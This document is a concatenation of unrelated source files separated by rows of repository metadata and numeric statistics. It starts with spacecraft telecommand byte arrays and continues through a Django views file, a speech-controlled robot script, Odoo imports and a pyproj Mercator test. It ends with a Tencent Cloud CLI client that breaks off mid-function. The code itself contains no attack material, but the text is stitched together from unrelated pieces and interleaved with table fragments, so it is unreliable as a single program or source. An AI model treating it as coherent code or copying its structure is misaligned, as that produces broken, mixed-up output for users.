0x8A, 0x00, 0x01, 0x00, 0x00, 0x00, 0xFF, 0x00,
0xCC, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x01, 0xFF,
0x28, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x02,
0x5A, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00,
0x92, 0x03, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0xD6, 0x00, 0x04, 0xFF, 0x00, 0x00, 0x00, 0x00,
0xD4, 0x0F, 0x00, 0x05, 0xFF, 0x00, 0x00, 0x00,
0xA8, 0x00, 0x0F, 0x00, 0x06, 0xFF, 0x00, 0x00,
0xC8, 0x00, 0x00, 0x0F, 0x00, 0x07, 0xFF, 0x00,
0xCA, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x08, 0xFF,
0x66, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x09,
0xA8, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00,
0x92, 0x0A, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0xF4, 0x00, 0x0B, 0xFF, 0x00, 0x00, 0x00, 0x00,
0x5A, 0x0F, 0x00, 0x0C, 0xFF, 0x00, 0x00, 0x00,
0xB0, 0x00, 0x0F, 0x00, 0x0D, 0xFF, 0x00, 0x00,
0xD8, 0x00, 0x00, 0x0F, 0x00, 0x0E, 0xFF, 0x00,
0x96, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x0F, 0xFF,
0xDA, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x10,
0x82, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00,
0x92, 0x11, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0x92, 0x00, 0x12, 0xFF, 0x00, 0x00, 0x00, 0x00,
0x2A, 0x0F, 0x00, 0x13, 0xFF, 0x00, 0x00, 0x00,
0x24, 0x00, 0x0F, 0x00, 0x14, 0xFF, 0x00, 0x00,
0x4A, 0x00, 0x00, 0x0F, 0x00, 0x15, 0xFF, 0x00,
0x72, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x16, 0xFF,
0x2E, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x17,
0x20, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00,
0x92, 0x18, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F,
0xB0, 0x00, 0x19, 0xFF, 0x00, 0x00, 0x00, 0x00,
0x90, 0x0F, 0x00, 0x1A, 0xFF, 0x00, 0x00, 0x00,
0x3C, 0x00, 0x0F, 0x00, 0x1B, 0xFF, 0x00, 0x00,
0xF8, 0x00, 0x00, 0x0F, 0x00, 0x1C, 0xFF, 0x00,
0x2E, 0x00, 0x00, 0xAD, 0x1A, 0x55, 0x55, 0x55,
0xEC, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55,
0x55]
NCTRS_CLTU_01_packetSize = 353
NCTRS_CLTU_01_spacecraftId = 758
NCTRS_CLTU_01_dataUnitType = 7
NCTRS_CLTU_01_delay = 0
NCTRS_CLTU_01_latestProdTime = 0.0
NCTRS_CLTU_01_serviceType = 0
NCTRS_CLTU_01_earliestProdTime = 0.0
NCTRS_CLTU_01_virtualChannelId = 0
NCTRS_CLTU_01_mapId = 0
NCTRS_CLTU_01_aggregationFlag = 0
NCTRS_CLTU_01_tcId = 16
NCTRS_CLTU_01_earliestProdTimeFlag = 0
NCTRS_CLTU_01_latestProdTimeFlag = 0
NCTRS_CLTU_02 = [
0x00, 0x00, 0x00, 0x69, 0x00, 0x07, 0x02, 0xF6,
0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEB,
0x90, 0x22, 0xF6, 0x00, 0x23, 0x00, 0x82, 0x00,
0x24, 0x0F, 0x00, 0x1D, 0xFF, 0x00, 0x00, 0x00,
0x34, 0x00, 0x0F, 0x00, 0x1E, 0xFF, 0x00, 0x00,
0x10, 0x00, 0x00, 0x0F, 0x00, 0x1F, 0xFF, 0x00,
0xD8, 0x00, 0x00, 0x00, 0x0F, 0xAC, 0x8F, 0x00,
0x90, 0x68, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55,
0x06, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55,
0x55]
NCTRS_CLTU_02_packetSize = 105
NCTRS_CLTU_02_spacecraftId = 758
NCTRS_CLTU_02_dataUnitType = 7
NCTRS_CLTU_02_delay = 0
NCTRS_CLTU_02_latestProdTime = 0.0
NCTRS_CLTU_02_serviceType = 0
NCTRS_CLTU_02_earliestProdTime = 0.0
NCTRS_CLTU_02_virtualChannelId = 0
NCTRS_CLTU_02_mapId = 0
NCTRS_CLTU_02_aggregationFlag = 0
NCTRS_CLTU_02_tcId = 17
NCTRS_CLTU_02_earliestProdTimeFlag = 0
NCTRS_CLTU_02_latestProdTimeFlag = 0
BCH_BLOCK_01 = [
0x22, 0xF6, 0x00, 0xFF, 0x00, 0x42, 0x1A, 0x12]
BCH_BLOCK_02 = [
0x8C, 0xC0, 0x0E, 0x01, 0x0D, 0x19, 0x06, 0x5A]
| 47.388446
| 106
| 0.655849
| 7,491
| 47,578
| 4.105593
| 0.059805
| 0.844351
| 1.181466
| 1.481125
| 0.874199
| 0.861486
| 0.844578
| 0.841977
| 0.834954
| 0.834954
| 0
| 0.472546
| 0.193472
| 47,578
| 1,003
| 107
| 47.435693
| 0.328929
| 0.02539
| 0
| 0.601626
| 0
| 0
| 0.003195
| 0.003108
| 0
| 0
| 0.569344
| 0
| 0
| 1
| 0
| false
| 0.002033
| 0.003049
| 0
| 0.003049
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 12
|
21299f77861a1b79cc9153eaf28da32ebd5e4a0c
| 240
|
py
|
Python
|
jam/frontend/views.py
|
altear/jam
|
ef49d13204716e76b79840dbfcee9d7e4148f35e
|
[
"MIT"
] | null | null | null |
jam/frontend/views.py
|
altear/jam
|
ef49d13204716e76b79840dbfcee9d7e4148f35e
|
[
"MIT"
] | null | null | null |
jam/frontend/views.py
|
altear/jam
|
ef49d13204716e76b79840dbfcee9d7e4148f35e
|
[
"MIT"
] | null | null | null |
from django.shortcuts import redirect, render
from backend.views import create_game
def game(request, game_uid):
return render(request, 'frontend/index.html')
def start_game(request):
return render(request, 'frontend/index.html')
| 26.666667
| 49
| 0.775
| 33
| 240
| 5.545455
| 0.545455
| 0.120219
| 0.20765
| 0.295082
| 0.393443
| 0.393443
| 0
| 0
| 0
| 0
| 0
| 0
| 0.125
| 240
| 8
| 50
| 30
| 0.871429
| 0
| 0
| 0.333333
| 0
| 0
| 0.158333
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.333333
| 0.333333
| 1
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 7
|
216a1ab5c9398b70814de631b2d4c530cc46f09b
| 2,992
|
py
|
Python
|
word_relay.py
|
calderdigihub/PiWars21_crashBot
|
6ff60cffdca7cb90261fcb2283adc43cf619f37b
|
[
"MIT"
] | null | null | null |
word_relay.py
|
calderdigihub/PiWars21_crashBot
|
6ff60cffdca7cb90261fcb2283adc43cf619f37b
|
[
"MIT"
] | null | null | null |
word_relay.py
|
calderdigihub/PiWars21_crashBot
|
6ff60cffdca7cb90261fcb2283adc43cf619f37b
|
[
"MIT"
] | 1
|
2021-06-25T10:57:24.000Z
|
2021-06-25T10:57:24.000Z
|
#pip3 install SpeechRecognition
#pip3 install pyaudio
#https://realpython.com/python-speech-recognition/#picking-a-python-speech-recognition-package
#https://maker.pro/raspberry-pi/tutorial/the-best-voice-recognition-software-for-raspberry-pi
import speech_recognition as sr
import directions
from time import sleep
r=sr.Recognizer()
mic = sr.Microphone()
with mic as source:
r.adjust_for_ambient_noise(source)
print("listening")
audio_text = r.listen(source)
print("Text: "+r.recognize_google(audio_text))
print("not listening")
try:
# using google speech recognition
code = r.recognize_google(audio_text)
print("Text: "+code)
except:
print("Sorry, I did not get that")
code="blank"
if code == "forward long":
directions.forward()
sleep(10)
directions.stop()
elif code == "forward middle":
directions.forward()
sleep(5)
directions.stop()
elif code == "forward short":
directions.forward()
sleep(1)
directions.stop()
elif code == "reverse long":
directions.back()
sleep(10)
directions.stop()
elif code == "reverse middle":
directions.back()
sleep(5)
directions.stop()
elif code == "reverse short":
directions.back()
sleep(1)
directions.stop()
elif code == "write long":
directions.left_forward()
sleep(1)
directions.stop()
elif code == "write short":
directions.left_forward()
sleep(0.5)
directions.stop()
elif code == "left long":
directions.right_forward()
sleep(1)
directions.stop()
elif code == "left short":
directions.right_forward()
sleep(0.5)
directions.stop()
while r.recognize_google(audio_text) != "end":
with mic as source:
r.adjust_for_ambient_noise(source)
print("listening")
audio_text = r.listen(source)
print("Text: "+r.recognize_google(audio_text))
print("not listening")
try:
# using google speech recognition
code = r.recognize_google(audio_text)
print("Text: "+code)
except:
print("Sorry, I did not get that")
code="blank"
if code == "forward long":
directions.forward()
sleep(10)
directions.stop()
elif code == "forward middle":
directions.forward()
sleep(5)
directions.stop()
elif code == "forward short":
directions.forward()
sleep(1)
directions.stop()
elif code == "reverse long":
directions.back()
sleep(10)
directions.stop()
elif code == "reverse middle":
directions.back()
sleep(5)
directions.stop()
elif code == "reverse short":
directions.back()
sleep(1)
directions.stop()
elif code == "write long":
directions.left_forward()
sleep(1)
directions.stop()
elif code == "write short":
directions.left_forward()
sleep(0.5)
directions.stop()
elif code == "left long":
directions.right_forward()
sleep(1)
directions.stop()
elif code == "left short":
directions.right_forward()
sleep(0.5)
directions.stop()
| 24.933333
| 95
| 0.659759
| 370
| 2,992
| 5.262162
| 0.202703
| 0.143811
| 0.16641
| 0.20339
| 0.845917
| 0.833077
| 0.833077
| 0.833077
| 0.833077
| 0.833077
| 0
| 0.01261
| 0.20488
| 2,992
| 119
| 96
| 25.142857
| 0.805801
| 0.099599
| 0
| 0.945455
| 0
| 0
| 0.142968
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.027273
| 0
| 0.027273
| 0.090909
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
b4a78744b90d425d112d6838c10a298c204aae21
| 71
|
py
|
Python
|
addons/generic_request/wizard/__init__.py
|
marionumza/vocal_v12
|
480990e919c9410903e06e7813ee92800bd6a569
|
[
"Unlicense"
] | null | null | null |
addons/generic_request/wizard/__init__.py
|
marionumza/vocal_v12
|
480990e919c9410903e06e7813ee92800bd6a569
|
[
"Unlicense"
] | null | null | null |
addons/generic_request/wizard/__init__.py
|
marionumza/vocal_v12
|
480990e919c9410903e06e7813ee92800bd6a569
|
[
"Unlicense"
] | 1
|
2021-05-05T07:59:08.000Z
|
2021-05-05T07:59:08.000Z
|
from . import request_wizard_close
from . import request_wizard_assign
| 23.666667
| 35
| 0.859155
| 10
| 71
| 5.7
| 0.6
| 0.350877
| 0.596491
| 0.807018
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.112676
| 71
| 2
| 36
| 35.5
| 0.904762
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
b4c45fa67a43655553bf06e727360350d23df829
| 10,892
|
py
|
Python
|
tests/geo/python/test_geo_mercator.py
|
marek-cel/libmcutils
|
671a20f37378d32ade4decefdbfba70448d12504
|
[
"MIT"
] | null | null | null |
tests/geo/python/test_geo_mercator.py
|
marek-cel/libmcutils
|
671a20f37378d32ade4decefdbfba70448d12504
|
[
"MIT"
] | null | null | null |
tests/geo/python/test_geo_mercator.py
|
marek-cel/libmcutils
|
671a20f37378d32ade4decefdbfba70448d12504
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python3
################################################################################
import pyproj
################################################################################
t_geo2merc = pyproj.Transformer.from_crs(
{"proj":'latlong', "ellps":'WGS84', "datum":'WGS84'},
{"proj":'merc', "ellps":'WGS84', "datum":'WGS84'},
)
t_merc2geo = pyproj.Transformer.from_crs(
{"proj":'merc', "ellps":'WGS84', "datum":'WGS84'},
{"proj":'latlong', "ellps":'WGS84', "datum":'WGS84'},
)
################################################################################
nautical_mile = 1852.0
arc_deg = 60.0 * nautical_mile
arc_deg30 = 30.0 * arc_deg
arc_deg45 = 45.0 * arc_deg
arc_deg60 = 60.0 * arc_deg
arc_deg90 = 90.0 * arc_deg
arc_deg120 = 120.0 * arc_deg
arc_deg150 = 150.0 * arc_deg
arc_deg180 = 180.0 * arc_deg
################################################################################
print("\n CALCULATE LON,LAT \n")
################################################################################
x = 0.0
y = 0.0
lon, lat = t_merc2geo.transform(x, y, radians=True)
print("x= ", x, " y= ", y, "\t", lon, lat)
################################################################################
print("\n CALCULATE LAT \n")
################################################################################
x = 0.0
y = arc_deg30
lon, lat = t_merc2geo.transform(x, y, radians=True)
print("x= ", x, " y= ", y, "\t", lon, lat)
################################################################################
x = 0.0
y = arc_deg45
lon, lat = t_merc2geo.transform(x, y, radians=True)
print("x= ", x, " y= ", y, "\t", lon, lat)
################################################################################
x = 0.0
y = arc_deg60
lon, lat = t_merc2geo.transform(x, y, radians=True)
print("x= ", x, " y= ", y, "\t", lon, lat)
################################################################################
x = 0.0
y = arc_deg90
lon, lat = t_merc2geo.transform(x, y, radians=True)
print("x= ", x, " y= ", y, "\t", lon, lat)
################################################################################
x = 0.0
y = -arc_deg30
lon, lat = t_merc2geo.transform(x, y, radians=True)
print("x= ", x, " y= ", y, "\t", lon, lat)
################################################################################
x = 0.0
y = -arc_deg45
lon, lat = t_merc2geo.transform(x, y, radians=True)
print("x= ", x, " y= ", y, "\t", lon, lat)
################################################################################
x = 0.0
y = -arc_deg60
lon, lat = t_merc2geo.transform(x, y, radians=True)
print("x= ", x, " y= ", y, "\t", lon, lat)
################################################################################
x = 0.0
y = -arc_deg90
lon, lat = t_merc2geo.transform(x, y, radians=True)
print("x= ", x, " y= ", y, "\t", lon, lat)
################################################################################
print("\n CALCULATE LON \n")
################################################################################
x = arc_deg30
y = 0.0
lon, lat = t_merc2geo.transform(x, y, radians=True)
print("x= ", x, " y= ", y, "\t", lon, lat)
################################################################################
x = arc_deg45
y = 0.0
lon, lat = t_merc2geo.transform(x, y, radians=True)
print("x= ", x, " y= ", y, "\t", lon, lat)
################################################################################
x = arc_deg60
y = 0.0
lon, lat = t_merc2geo.transform(x, y, radians=True)
print("x= ", x, " y= ", y, "\t", lon, lat)
################################################################################
x = arc_deg90
y = 0.0
lon, lat = t_merc2geo.transform(x, y, radians=True)
print("x= ", x, " y= ", y, "\t", lon, lat)
################################################################################
x = arc_deg120
y = 0.0
lon, lat = t_merc2geo.transform(x, y, radians=True)
print("x= ", x, " y= ", y, "\t", lon, lat)
################################################################################
x = arc_deg150
y = 0.0
lon, lat = t_merc2geo.transform(x, y, radians=True)
print("x= ", x, " y= ", y, "\t", lon, lat)
################################################################################
x = arc_deg180
y = 0.0
lon, lat = t_merc2geo.transform(x, y, radians=True)
print("x= ", x, " y= ", y, "\t", lon, lat)
################################################################################
x = -arc_deg30
y = 0.0
lon, lat = t_merc2geo.transform(x, y, radians=True)
print("x= ", x, " y= ", y, "\t", lon, lat)
################################################################################
x = -arc_deg45
y = 0.0
lon, lat = t_merc2geo.transform(x, y, radians=True)
print("x= ", x, " y= ", y, "\t", lon, lat)
################################################################################
x = -arc_deg60
y = 0.0
lon, lat = t_merc2geo.transform(x, y, radians=True)
print("x= ", x, " y= ", y, "\t", lon, lat)
################################################################################
x = -arc_deg90
y = 0.0
lon, lat = t_merc2geo.transform(x, y, radians=True)
print("x= ", x, " y= ", y, "\t", lon, lat)
################################################################################
x = -arc_deg120
y = 0.0
lon, lat = t_merc2geo.transform(x, y, radians=True)
print("x= ", x, " y= ", y, "\t", lon, lat)
################################################################################
x = -arc_deg150
y = 0.0
lon, lat = t_merc2geo.transform(x, y, radians=True)
print("x= ", x, " y= ", y, "\t", lon, lat)
################################################################################
x = -arc_deg180
y = 0.0
lon, lat = t_merc2geo.transform(x, y, radians=True)
print("x= ", x, " y= ", y, "\t", lon, lat)
################################################################################
print("\n CALCULATE X,Y \n")
################################################################################
lon = 0.0
lat = 0.0
x, y = t_geo2merc.transform(lon, lat, radians=False)
print("lon= ", lon, " lat= ", lat, "\t", x, y)
################################################################################
print("\n CALCULATE X \n")
################################################################################
lon = 30.0
lat = 0.0
x, y = t_geo2merc.transform(lon, lat, radians=False)
print("lon= ", lon, " lat= ", lat, "\t", x, y)
################################################################################
lon = 45.0
lat = 0.0
x, y = t_geo2merc.transform(lon, lat, radians=False)
print("lon= ", lon, " lat= ", lat, "\t", x, y)
################################################################################
lon = 60.0
lat = 0.0
x, y = t_geo2merc.transform(lon, lat, radians=False)
print("lon= ", lon, " lat= ", lat, "\t", x, y)
################################################################################
lon = 90.0
lat = 0.0
x, y = t_geo2merc.transform(lon, lat, radians=False)
print("lon= ", lon, " lat= ", lat, "\t", x, y)
################################################################################
lon = 120.0
lat = 0.0
x, y = t_geo2merc.transform(lon, lat, radians=False)
print("lon= ", lon, " lat= ", lat, "\t", x, y)
################################################################################
lon = 150.0
lat = 0.0
x, y = t_geo2merc.transform(lon, lat, radians=False)
print("lon= ", lon, " lat= ", lat, "\t", x, y)
################################################################################
lon = 180.0
lat = 0.0
x, y = t_geo2merc.transform(lon, lat, radians=False)
print("lon= ", lon, " lat= ", lat, "\t", x, y)
################################################################################
lon = -30.0
lat = 0.0
x, y = t_geo2merc.transform(lon, lat, radians=False)
print("lon= ", lon, " lat= ", lat, "\t", x, y)
################################################################################
lon = -45.0
lat = 0.0
x, y = t_geo2merc.transform(lon, lat, radians=False)
print("lon= ", lon, " lat= ", lat, "\t", x, y)
################################################################################
lon = -60.0
lat = 0.0
x, y = t_geo2merc.transform(lon, lat, radians=False)
print("lon= ", lon, " lat= ", lat, "\t", x, y)
################################################################################
lon = -90.0
lat = 0.0
x, y = t_geo2merc.transform(lon, lat, radians=False)
print("lon= ", lon, " lat= ", lat, "\t", x, y)
################################################################################
lon = -120.0
lat = 0.0
x, y = t_geo2merc.transform(lon, lat, radians=False)
print("lon= ", lon, " lat= ", lat, "\t", x, y)
################################################################################
lon = -150.0
lat = 0.0
x, y = t_geo2merc.transform(lon, lat, radians=False)
print("lon= ", lon, " lat= ", lat, "\t", x, y)
################################################################################
lon = -180.0
lat = 0.0
x, y = t_geo2merc.transform(lon, lat, radians=False)
print("lon= ", lon, " lat= ", lat, "\t", x, y)
################################################################################
print("\n CALCULATE Y \n")
################################################################################
lon = 0.0
lat = 30.0
x, y = t_geo2merc.transform(lon, lat, radians=False)
print("lon= ", lon, " lat= ", lat, "\t", x, y)
################################################################################
lon = 0.0
lat = 45.0
x, y = t_geo2merc.transform(lon, lat, radians=False)
print("lon= ", lon, " lat= ", lat, "\t", x, y)
################################################################################
lon = 0.0
lat = 60.0
x, y = t_geo2merc.transform(lon, lat, radians=False)
print("lon= ", lon, " lat= ", lat, "\t", x, y)
################################################################################
lon = 0.0
lat = 85.0
x, y = t_geo2merc.transform(lon, lat, radians=False)
print("lon= ", lon, " lat= ", lat, "\t", x, y)
################################################################################
lon = 0.0
lat = -30.0
x, y = t_geo2merc.transform(lon, lat, radians=False)
print("lon= ", lon, " lat= ", lat, "\t", x, y)
################################################################################
lon = 0.0
lat = -45.0
x, y = t_geo2merc.transform(lon, lat, radians=False)
print("lon= ", lon, " lat= ", lat, "\t", x, y)
################################################################################
lon = 0.0
lat = -60.0
x, y = t_geo2merc.transform(lon, lat, radians=False)
print("lon= ", lon, " lat= ", lat, "\t", x, y)
################################################################################
lon = 0.0
lat = -85.0
x, y = t_geo2merc.transform(lon, lat, radians=False)
print("lon= ", lon, " lat= ", lat, "\t", x, y)
| 26.501217
| 80
| 0.336302
| 1,184
| 10,892
| 3.018581
| 0.04223
| 0.156128
| 0.045048
| 0.096531
| 0.934527
| 0.921097
| 0.882764
| 0.882764
| 0.882764
| 0.882764
| 0
| 0.034743
| 0.122659
| 10,892
| 410
| 81
| 26.565854
| 0.339263
| 0.001928
| 0
| 0.692308
| 0
| 0
| 0.114065
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.004808
| 0
| 0.004808
| 0.25
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
3722d035b6ea3d4eddbd0fdf9e5098f87201d3d1
| 33,844
|
py
|
Python
|
tccli/services/tione/tione_client.py
|
ws0416/tencentcloud-cli
|
0a90fa77c8be1efa30b196a3eeb31b8be1f6a325
|
[
"Apache-2.0"
] | null | null | null |
tccli/services/tione/tione_client.py
|
ws0416/tencentcloud-cli
|
0a90fa77c8be1efa30b196a3eeb31b8be1f6a325
|
[
"Apache-2.0"
] | null | null | null |
tccli/services/tione/tione_client.py
|
ws0416/tencentcloud-cli
|
0a90fa77c8be1efa30b196a3eeb31b8be1f6a325
|
[
"Apache-2.0"
] | null | null | null |
# -*- coding: utf-8 -*-
import os
import json
import tccli.options_define as OptionsDefine
import tccli.format_output as FormatOutput
from tccli import __version__
from tccli.utils import Utils
from tccli.exceptions import ConfigurationError
from tencentcloud.common import credential
from tencentcloud.common.profile.http_profile import HttpProfile
from tencentcloud.common.profile.client_profile import ClientProfile
from tencentcloud.tione.v20191022 import tione_client as tione_client_v20191022
from tencentcloud.tione.v20191022 import models as models_v20191022
def doUpdateNotebookInstance(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.UpdateNotebookInstanceRequest()
model.from_json_string(json.dumps(args))
rsp = client.UpdateNotebookInstance(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeNotebookLifecycleScripts(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeNotebookLifecycleScriptsRequest()
model.from_json_string(json.dumps(args))
rsp = client.DescribeNotebookLifecycleScripts(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doStartNotebookInstance(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.StartNotebookInstanceRequest()
model.from_json_string(json.dumps(args))
rsp = client.StartNotebookInstance(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDeleteNotebookInstance(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DeleteNotebookInstanceRequest()
model.from_json_string(json.dumps(args))
rsp = client.DeleteNotebookInstance(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeNotebookLifecycleScript(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeNotebookLifecycleScriptRequest()
model.from_json_string(json.dumps(args))
rsp = client.DescribeNotebookLifecycleScript(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doCreatePresignedNotebookInstanceUrl(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.CreatePresignedNotebookInstanceUrlRequest()
model.from_json_string(json.dumps(args))
rsp = client.CreatePresignedNotebookInstanceUrl(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
